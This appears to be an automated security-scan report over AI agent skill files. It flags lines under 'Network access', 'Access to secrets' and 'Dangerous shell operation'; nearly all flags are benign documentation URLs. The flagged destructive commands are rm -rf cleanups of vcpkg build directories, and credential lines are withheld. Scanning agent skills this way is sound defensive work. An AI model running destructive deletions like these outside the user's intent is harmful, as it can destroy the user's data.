Classify each finding per: https://www.microsoft.com/en-us/msrc/sdlbugbar - Network accessline 390
### CVSS 4.0 Score Use CVSS v4.0 Base score (0.0-10.0) with vector string. Reference: https://www.first.org/cvss/v4.0/specification-document - Network accessline 392
Reference: https://www.first.org/cvss/v4.0/specification-document - Network accessline 394
### CWE Assign Common Weakness Enumeration ID and name. Reference: https://cwe.mitre.org/ - Network accessline 396
Reference: https://cwe.mitre.org/ - Network accessline 399
Map to OWASP Top 10:2025 category if applicable (A01-A10). **ALWAYS use `:2025` suffix** (e.g., `A01:2025`), never `:2021`. Reference: https://owasp.org/Top10/2025/ - Network accessline 401
Reference: https://owasp.org/Top10/2025/
harness/claude-code/skills/threat-model-analyst/references/orchestrator.md
- Network accessline 50
20. **Deployment Classification is BINDING.** In `0.1-architecture.md`, set `Deployment Classification` and fill the Component Exposure Table. If classification is `LOCALHOST_DESKTOP` or `LOCALHOST_SERVICE`: zero T1 findings, zero `Prerequi - Network accessline 51
21. Finding IDs MUST be sequential top-to-bottom: FIND-01, FIND-02, FIND-03... Renumber after sorting 22. CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication` 23. After STRIDE, run - Network accessline 52
22. CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication`
harness/claude-code/skills/threat-model-analyst/references/output-formats.md
- Network accessline 369
| SDL Bugbar Severity | Critical / Important / Moderate / Low | | CVSS 4.0 | Score AND full vector string (e.g., `9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)`) — BOTH are mandatory | | CWE | ID, name, AND hyperlink - Network accessline 370
| CVSS 4.0 | Score AND full vector string (e.g., `9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)`) — BOTH are mandatory | | CWE | ID, name, AND hyperlink (e.g., `[CWE-306](https://cwe.mitre.org/data/definitions/306.ht - Network accessline 371
| CWE | ID, name, AND hyperlink (e.g., `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function`) | - Network accessline 387
| SDL Bugbar Severity | Critical | | CVSS 4.0 | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) | | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function | - Network accessline 388
| CVSS 4.0 | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) | | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function | | OWASP | A07:2025 – Authentication Fail - Network accessline 389
| CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function | - Network accessline 614
| Standard | URL | How Used | |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | - Network accessline 615
|----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization | - Network accessline 616
| Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | - Network accessline 617
| OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization | - Network accessline 618
| CVSS 4.0 | https://www.first.org/cvss/v4.0/specification-document | Risk scoring | - Network accessline 619
| CWE | https://cwe.mitre.org/ | Weakness classification | - Network accessline 620
| STRIDE | https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats | Threat enumeration methodology | - Network accessline 621
| NIST SP 800-53 Rev. 5 | https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final | Control mapping | - Network accessline 624
| Component | Documentation URL | Relevant Section | |-----------|------------------|------------------| | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] | - Network accessline 625
|-----------|------------------|------------------| | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] | | [e.g., Redis] | [e.g., https://redis.io/docs/management/security/] | [e.g., Authenticati - Network accessline 626
| [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] | - Network accessline 627
| [e.g., Redis] | [e.g., https://redis.io/docs/management/security/] | [e.g., Authentication] | - Network accessline 630
**Processing Rules:** 1. Always include the Security Standards table — populate with actual standards consulted 2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column - Network accessline 631
1. Always include the Security Standards table — populate with actual standards consulted 2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column 3. Populate Component Documentation with technologies actually c - Network accessline 632
2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column - Network accessline 709
21. Skipping `## Report Files`, `## References Consulted`, or `## Report Metadata` → ALL 7 sections in 0-assessment.md are MANDATORY. Never omit any. 22. Finding IDs out of order (FIND-06 before FIND-04) → Finding IDs MUST be sequential - Network accessline 710
22. Finding IDs out of order (FIND-06 before FIND-04) → Finding IDs MUST be sequential top-to-bottom: FIND-01, FIND-02, FIND-03, ... Renumber after sorting. 23. CWE without hyperlink → CWE MUST include hyperlink: `[CWE-306](https://cwe. - Network accessline 711
23. CWE without hyperlink → CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function` - Network accessline 732
"branch": "main", "analysis_timestamp": "2025-08-15T14:30:00Z", "repository": "https://github.com/org/repo", - Network accessline 733
"analysis_timestamp": "2025-08-15T14:30:00Z", "repository": "https://github.com/org/repo", "report_folder": "threat-model-20250815-143000", - Network accessline 734
"repository": "https://github.com/org/repo", - Access to secretsline 948
[Credential-related source omitted]
harness/claude-code/skills/threat-model-analyst/references/skeletons/skeleton-assessment.md
- Network accessline 191
| Standard | URL | How Used | |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | - Network accessline 192
|----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization | - Network accessline 193
| Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | - Network accessline 194
| OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization | - Network accessline 195
| CVSS 4.0 | https://www.first.org/cvss/v4.0/specification-document | Risk scoring | - Network accessline 196
| CWE | https://cwe.mitre.org/ | Weakness classification | - Network accessline 197
| STRIDE | https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats | Threat enumeration | - Network accessline 256
| **Incremental Tags** | `[Existing]` · `[Fixed]` · `[Partial]` · `[New]` · `[Removed]` (incremental reports only) | | **CVSS** | CVSS 4.0 vector with `CVSS:4.0/` prefix | | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.or - Network accessline 257
| **CVSS** | CVSS 4.0 vector with `CVSS:4.0/` prefix | | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.org/data/definitions/306.html)) | | **OWASP** | OWASP Top 10:2025 mapping (e.g., A01:2025 – Broken Access Control) | - Network accessline 258
| **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.org/data/definitions/306.html)) |
harness/claude-code/skills/threat-model-analyst/references/skeletons/skeleton-findings.md
- Network accessline 23
| SDL Bugbar Severity | [FILL: Critical / Important / Moderate / Low] | | CVSS 4.0 | [FILL: N.N] (CVSS:4.0/[FILL: full vector starting with AV:]) | | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): - Network accessline 24
| CVSS 4.0 | [FILL: N.N] (CVSS:4.0/[FILL: full vector starting with AV:]) | | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): [FILL: weakness name] | | OWASP | A[FILL: NN]:2025 – [FILL: category nam - Network accessline 25
| CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): [FILL: weakness name] | - Network accessline 84
| SDL Bugbar Severity | [FILL] | | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | - Network accessline 85
| CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | | OWASP | A[FILL]:2025 – [FILL] | - Network accessline 86
| CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | - Network accessline 128
| SDL Bugbar Severity | [FILL] | | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | - Network accessline 129
| CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | | OWASP | A[FILL]:2025 – [FILL] | - Network accessline 130
| CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |
harness/claude-code/skills/threat-model-analyst/references/tmt-element-taxonomy.md
- Network accessline 67
| TMT ID | Name | Code Patterns to Identify | |--------|------|---------------------------| | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS | - Network accessline 68
|--------|------|---------------------------| | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS | | `SE.DF.TMCore.HTTPS` | HTTPS | TLS-secured REST, `https://` endpoints | - Network accessline 69
| `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS | - Network accessline 70
| `SE.DF.TMCore.HTTPS` | HTTPS | TLS-secured REST, `https://` endpoints | - Network accessline 124
| Flow Type | Code Patterns | |-----------|---------------| | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls | - Network accessline 125
|-----------|---------------| | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls | | **SQL Database** | ORM queries, SQL connections, `DbContext` | - Network accessline 126
| **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls |
harness/claude-code/skills/threat-model-analyst/references/verification-checklist.md
- Network accessline 29
- [ ] Every `#### Evidence` section cites specific file paths, line numbers, or config keys (not generic statements like "found in codebase") - [ ] Every finding has ALL 10 mandatory attribute rows: `SDL Bugbar Severity`, `CVSS 4.0`, `CWE`, - Network accessline 30
- [ ] Every finding has ALL 10 mandatory attribute rows: `SDL Bugbar Severity`, `CVSS 4.0`, `CWE`, `OWASP`, `Exploitation Prerequisites`, `Exploitability Tier`, `Remediation Effort`, `Mitigation Type`, `Component`, `Related Threats` - [ ] E - Network accessline 31
- [ ] Every CWE value is a hyperlink: contains `](https://cwe.mitre.org/` (not plain text like `CWE-79`) - Network accessline 170
- [ ] **References Consulted as flat table **— Search for `| Reference | Usage |` pattern. Two-column flat table → Two subsections: `### Security Standards` with `| Standard | URL | How Used |` and `### Component Documentation` with `| Comp - Network accessline 171
- [ ] **References missing URLs **— Every row in References Consulted tables must have a full `https://` URL. Missing URL column or empty URLs → Full URLs in every row - Network accessline 177
- [ ] **CVSS score without vector or missing prefix **— Grep each finding's CVSS field. The value MUST match pattern: `\d+\.\d+ \(CVSS:4\.0/AV:`. Specifically check for the `CVSS:4.0/` prefix — the most common deviation is outputting the ve - Network accessline 178
- [ ] **CWE without hyperlink **— Grep for `CWE-\d+` without preceding `[`. `CWE-78: OS Command Injection` → `[CWE-78](https://cwe.mitre.org/data/definitions/78.html): OS Command Injection`
harness/claude-code/skills/tldr-prompt/SKILL.md
- Network accessline 46
| URLs supplied without explicit fetch syntax | Fetch all supplied URLs. | | More than five files or URLs | Summarize the first five and list the rest as not processed. | | Query about prompts, agents, instructions, or collections | Search - Network accessline 47
| More than five files or URLs | Summarize the first five and list the rest as not processed. | | Query about prompts, agents, instructions, or collections | Search the workspace first for `prompt file`, `.agent.md`, `.instructions.md`, `.c - Network accessline 48
| Query about prompts, agents, instructions, or collections | Search the workspace first for `prompt file`, `.agent.md`, `.instructions.md`, `.collections.md`; if no relevant files exist, check https://github.com/github/awesome-copilot and - Network accessline 49
| Query about MCP servers | Prefer https://modelcontextprotocol.io/ and <https://code.visualstudio.com/docs/agent-customization/mcp-servers>. | - Network accessline 50
| Query about inline chat or Ctrl+I | Prefer <https://code.visualstudio.com/docs/chat/inline-chat>. | - Network accessline 51
| Query about chat view or chat tools | Prefer <https://code.visualstudio.com/docs/chat/chat-overview>. | - Network accessline 52
| General GitHub Copilot query | Prefer https://code.visualstudio.com/docs/agents/overview or <https://docs.github.com/en/copilot/>. | - Network accessline 54
When resolving through awesome-copilot, fetch <https://raw.githubusercontent.com/github/awesome-copilot/main/README.md> first, then convert relevant repository links such as <https://github.com/github/awesome-copilot/blob/main/instructions/ - Network accessline 126
You MUST provide one of the following: 1. A Copilot file: /tldr-prompt #file:{{name.prompt[.]md | name.agent.md | name.instructions.md | name.collections.md}} 2. A URL: /tldr-prompt #fetch {{https://example.com/docs}} - Network accessline 127
1. A Copilot file: /tldr-prompt #file:{{name.prompt[.]md | name.agent.md | name.instructions.md | name.collections.md}} 2. A URL: /tldr-prompt #fetch {{https://example.com/docs}} 3. A search query: /tldr-prompt "{{topic}}" (e.g., "MCP serve - Network accessline 128
2. A URL: /tldr-prompt #fetch {{https://example.com/docs}} - Network accessline 146
- [Model Context Protocol](https://modelcontextprotocol.io/) - Network accessline 147
- [VS Code MCP servers](https://code.visualstudio.com/docs/agent-customization/mcp-servers) - Network accessline 148
- [VS Code agents overview](https://code.visualstudio.com/docs/agents/overview) - Network accessline 149
- [VS Code chat overview](https://code.visualstudio.com/docs/chat/chat-overview) - Network accessline 150
- [VS Code inline chat](https://code.visualstudio.com/docs/chat/inline-chat) - Network accessline 151
- [GitHub Copilot documentation](https://docs.github.com/en/copilot/) - Network accessline 152
- [Awesome Copilot](https://github.com/github/awesome-copilot) - Network accessline 153
- [Awesome Copilot raw file pattern](https://raw.githubusercontent.com/github/awesome-copilot/main/{folder}/{filename}) - Network accessline 154
- [Awesome Copilot README raw](https://raw.githubusercontent.com/github/awesome-copilot/main/README.md)
harness/claude-code/skills/tm7-threat-model/SKILL.md
- Network accessline 62
<ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"> - Network accessline 79
| Prefix | URI | Used for | |--------|-----|----------| | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` | - Network accessline 80
|--------|-----|----------| | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` | | `xmlns:i` | `http://www.w3.org/2001/XMLSchema-instance` | Type attributes | - Network accessline 81
| (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` | - Network accessline 82
| `xmlns:i` | `http://www.w3.org/2001/XMLSchema-instance` | Type attributes | - Network accessline 83
| `xmlns:z` | `http://schemas.microsoft.com/2003/10/Serialization/` | Reference ids (`z:Id`) | - Network accessline 84
| `xmlns:a` | `http://schemas.microsoft.com/2003/10/Serialization/Arrays` | Arrays / collections | - Network accessline 85
| `xmlns:b` | `http://schemas.datacontract.org/2004/07/ThreatModeling.KnowledgeBase` | Stencil properties | - Network accessline 86
| `xmlns:c` | `http://www.w3.org/2001/XMLSchema` | Primitive type values | - Network accessline 152
<b:DisplayName>Name</b:DisplayName> <b:Name/> <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value> - Network accessline 153
<b:Name/> <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value> </a:anyType> - Network accessline 154
<b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value> - Network accessline 311
8. **Missing the `xmlns` on child elements** — each `GenericTypeId`, `Guid`, `Properties`, `TypeId`, etc. must carry its own `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`. - Network accessline 312
`TypeId`, etc. must carry its own `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`. 9. **Pretty-printing with indentation** — the correct output is a single continuous XML stream - Network accessline 313
`xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`. - Network accessline 362
- [ ] The file starts with `<ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">` and has no XML declaration. - Network accessline 372
- [ThreatModeling.Model namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.Model) - Network accessline 373
- [ThreatModeling.Model.Abstracts namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts) - Network accessline 374
- [ThreatModeling.KnowledgeBase namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.KnowledgeBase) - Network accessline 375
- [Serialization namespace](http://schemas.microsoft.com/2003/10/Serialization/) - Network accessline 376
- [Serialization arrays namespace](http://schemas.microsoft.com/2003/10/Serialization/Arrays) - Network accessline 377
- [XML Schema namespace](http://www.w3.org/2001/XMLSchema) - Network accessline 378
- [XML Schema instance namespace](http://www.w3.org/2001/XMLSchema-instance)
harness/claude-code/skills/tm7-threat-model/assets/example-minimal.tm7
- Network accessline 1
<ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><DrawingSurfaceList><DrawingSurfaceModel z:Id="i1" xmlns:z="http://schemas.microsoft.com/2003/10/Serializa
harness/claude-code/skills/transloadit-media-processing/SKILL.md
- Network accessline 9
metadata: compatibility: >- Requires a free Transloadit account (https://transloadit.com/signup). Uses the - Network accessline 10
compatibility: >- Requires a free Transloadit account (https://transloadit.com/signup). Uses the @transloadit/mcp-server MCP server or the @transloadit/node CLI. - Network accessline 11
Requires a free Transloadit account (https://transloadit.com/signup). Uses the - Network accessline 62
Get your API credentials at https://transloadit.com/c/-/api-credentials - Network accessline 120
"robot": "/image/resize", "use": "resized", "watermark_url": "https://example.com/logo.png", - Network accessline 121
"use": "resized", "watermark_url": "https://example.com/logo.png", "watermark_position": "bottom-right", - Network accessline 122
"watermark_url": "https://example.com/logo.png", - Network accessline 150
"imported": { "robot": "/http/import", "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"] - Network accessline 151
"robot": "/http/import", "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"] }, - Network accessline 152
"url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"] - Network accessline 191
- **Assembly**: A single processing job. Created via `create_assembly` (MCP) or `assemblies create` (CLI). - **Template**: A reusable set of steps stored on Transloadit. Created via `create_template` (MCP) or `templates create` (CLI). - **R - Network accessline 192
- **Template**: A reusable set of steps stored on Transloadit. Created via `create_template` (MCP) or `templates create` (CLI). - **Robot**: A processing unit (e.g., `/video/encode`, `/image/resize`). See full list at https://transloadit.co - Network accessline 193
- **Robot**: A processing unit (e.g., `/video/encode`, `/image/resize`). See full list at https://transloadit.com/docs/transcoding/
harness/claude-code/skills/typescript-mcp-server-generator/SKILL.md
- Network accessline 104
| Transport | Use when | Required details | | --- | --- | --- | | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for loca - Network accessline 105
| --- | --- | --- | | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for local servers, strict `Content-Type` handling be - Network accessline 106
| HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for local servers, strict `Content-Type` handling because v2 rejects non
harness/claude-code/skills/typespec-api-operations/SKILL.md
- Network accessline 42
@service @server("https://api.example.com") - Network accessline 43
@server("https://api.example.com") - Network accessline 123
{ "type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 124
"type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", "version": "1.5", - Network accessline 125
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 136
], "actions": [ { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" } - Network accessline 137
"actions": [ { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" } ] - Network accessline 138
{ "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" } - Network accessline 269
- [Adaptive Card schema](http://adaptivecards.io/schemas/adaptive-card.json) - Network accessline 270
- [Example API endpoint](https://api.example.com) - Network accessline 271
- [Example item URL](https://example.com/items/${id})
harness/claude-code/skills/typespec-create-api-plugin/SKILL.md
- Network accessline 90
| Public API | Omit `@useAuth`; do not create placeholder auth models. | | API key in header | `@useAuth(ApiKeyAuth<ApiKeyLocation.header, "X-API-Key">)` | | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authoriza - Network accessline 91
| API key in header | `@useAuth(ApiKeyAuth<ApiKeyLocation.header, "X-API-Key">)` | | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authorizationCode; authorizationUrl: "https://oauth.example.com/authorize"; tokenU - Network accessline 92
| OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authorizationCode; authorizationUrl: "https://oauth.example.com/authorize"; tokenUrl: "https://oauth.example.com/token"; refreshUrl: "https://oauth.example.com/token
harness/claude-code/skills/ui-screenshots/SKILL.md
harness/claude-code/skills/unit-test-vue-pinia/SKILL.md
- Network accessline 156
Follow Vue Test Utils guidance: <https://test-utils.vuejs.org/guide/> - Network accessline 223
- `references/pinia-patterns.md` - Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html> - Network accessline 224
- Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html> - Network accessline 225
- Vue Test Utils guide: <https://test-utils.vuejs.org/guide/>
harness/claude-code/skills/update-avm-modules-in-bicep/SKILL.md
- Network accessline 24
- A target Bicep file such as `${file}` must be available. - `bicep` must be installed to run `bicep lint` and `bicep build`. - Network access must allow tag discovery from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/ta - Network accessline 26
- Network access must allow tag discovery from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list` and documentation review at `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}`. - Network accessline 32
| Module pattern | Match Azure Verified Modules in Bicep references using `avm/res/{service}/{resource}`. | | Version source | Use the MCR tags API only for version discovery. | | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/ - Network accessline 33
| Version source | Use the MCR tags API only for version discovery. | | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. | | Docs endpoint | `https://github.com/Azure/bicep-registry-modules/tree/m - Network accessline 34
| Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. | - Network accessline 35
| Docs endpoint | `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}`. | - Network accessline 41
1. Scan `${file}` and extract every AVM module reference, current version, and source line. 2. Identify all unique `avm/res/{service}/{resource}` modules. 3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/a - Network accessline 42
2. Identify all unique `avm/res/{service}/{resource}` modules. 3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. 4. Parse the JSON `tags` array, keep semantic versio - Network accessline 43
3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. - Network accessline 44
4. Parse the JSON `tags` array, keep semantic versions, and compare the latest stable version with the current reference. 5. For each candidate update, review docs and release notes from `https://github.com/Azure/bicep-registry-modules/tree - Network accessline 45
5. For each candidate update, review docs and release notes from `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}` for breaking changes. - Network accessline 68
| Module | Current | Latest | Status | Action | Docs | |--------|---------|--------|--------|--------|------| | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep - Network accessline 69
|--------|---------|--------|--------|--------|------| | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource - Network accessline 70
| avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) | - Network accessline 71
| avm/res/storage/account | 0.3.0 | 0.3.0 | Current | Current | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) | - Network accessline 72
| avm/res/network/virtual-network | 0.4.0 | 0.5.0 | Manual review required | PAUSE for approval before breaking parameter changes | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) | - Network accessline 91
- [Azure Verified Modules registry source](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) - Network accessline 92
- [MCR AVM tags endpoint](https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list)
harness/claude-code/skills/update-implementation-plan/SKILL.md
harness/claude-code/skills/update-llms/SKILL.md
- Network accessline 5
examples, configuration, and repository structure. Use when users ask to update llms.txt, refresh LLM navigation, fix stale llms links, or keep llms.txt compliant with https://llmstxt.org/. - Network accessline 6
refresh LLM navigation, fix stale llms links, or keep llms.txt compliant with https://llmstxt.org/. metadata: - Network accessline 7
https://llmstxt.org/. - Network accessline 28
- An existing `/llms.txt` at the repository root. - Repository read access to current docs, specs, examples, and configuration. - The official llms.txt specification at `https://llmstxt.org/` and preserved baseline URL spelling `https://llm - Network accessline 30
- The official llms.txt specification at `https://llmstxt.org/` and preserved baseline URL spelling `https://llmstxt.org/.`. - Network accessline 142
- [llms.txt specification](https://llmstxt.org/) - Network accessline 143
- Baseline URL spelling preserved for migration checks: https://llmstxt.org/.
harness/claude-code/skills/vardoger-analyze/SKILL.md
- Network accessline 58
If you do not have pipx, see https://pipx.pypa.io/stable/. - Network accessline 60
Project page: https://github.com/dstrupl/vardoger - Network accessline 168
- [pipx documentation](https://pipx.pypa.io/stable/) - Network accessline 169
- [vardoger project](https://github.com/dstrupl/vardoger)
harness/claude-code/skills/vcpkg/SKILL.md
- Network accessline 132
### Installing with Features (e.g., curl with SSL + HTTP2)
harness/claude-code/skills/vcpkg/references/ci.md
- Network accessline 11
[Credential-related source omitted] - Access to secretsline 11
[Credential-related source omitted] - Network accessline 14
[Credential-related source omitted] - Access to secretsline 14
[Credential-related source omitted] - Network accessline 19
$env:VCPKG_BINARY_SOURCES = "clear;nuget,https://nuget.pkg.github.com/your-org/index.json,readwrite" - Network accessline 22
export VCPKG_BINARY_SOURCES="clear;nuget,https://nuget.pkg.github.com/your-org/index.json,readwrite" - Network accessline 32
env: VCPKG_BINARY_SOURCES: clear;nuget,https://nuget.pkg.github.com/your-org/index.json,readwrite - Network accessline 33
VCPKG_BINARY_SOURCES: clear;nuget,https://nuget.pkg.github.com/your-org/index.json,readwrite - Network accessline 108
- uses: actions/checkout@v4 - name: Clone vcpkg run: git clone https://github.com/microsoft/vcpkg - Network accessline 109
- name: Clone vcpkg run: git clone https://github.com/microsoft/vcpkg - name: Bootstrap vcpkg (Windows) - Network accessline 110
run: git clone https://github.com/microsoft/vcpkg
harness/claude-code/skills/vcpkg/references/registries.md
- Network accessline 11
{ "kind": "git", "repository": "https://github.com/{owner}/vcpkg-registry", - Network accessline 12
"kind": "git", "repository": "https://github.com/{owner}/vcpkg-registry", "baseline": "<commit-sha>", - Network accessline 13
"repository": "https://github.com/{owner}/vcpkg-registry", - Network accessline 45
{ "kind": "git", "repository": "https://github.com/{owner}/vcpkg-registry.git", - Network accessline 46
"kind": "git", "repository": "https://github.com/{owner}/vcpkg-registry.git", "baseline": "<registry-commit-sha>", - Network accessline 47
"repository": "https://github.com/{owner}/vcpkg-registry.git",
harness/claude-code/skills/vcpkg/references/troubleshooting.md
- Dangerous shell operationline 95
rm -rf <vcpkg-root>/buildtrees - Dangerous shell operationline 96
rm -rf <vcpkg-root>/downloads - Dangerous shell operationline 97
rm -rf <vcpkg-root>/installed - Dangerous shell operationline 98
rm -rf <vcpkg-root>/packages - Dangerous shell operationline 100
rm -rf ./vcpkg_installed
harness/claude-code/skills/web-design-reviewer/SKILL.md
- Network accessline 35
1. **Target website must be running** - Local development server (e.g., `http://localhost:3000`) - Network accessline 36
- Local development server (e.g., `http://localhost:3000`) - Network accessline 68
> Please provide the URL of the website to review (e.g., `http://localhost:3000`) - Network accessline 304
[Playwright MCP](https://github.com/microsoft/playwright-mcp) is recommended as the reference implementation for this skill. - Network accessline 396
**Status:** complete | needs fixes | blocked **Target URL:** `<http://localhost:3000 or remote URL>` - Network accessline 397
**Target URL:** `<http://localhost:3000 or remote URL>` - Network accessline 412
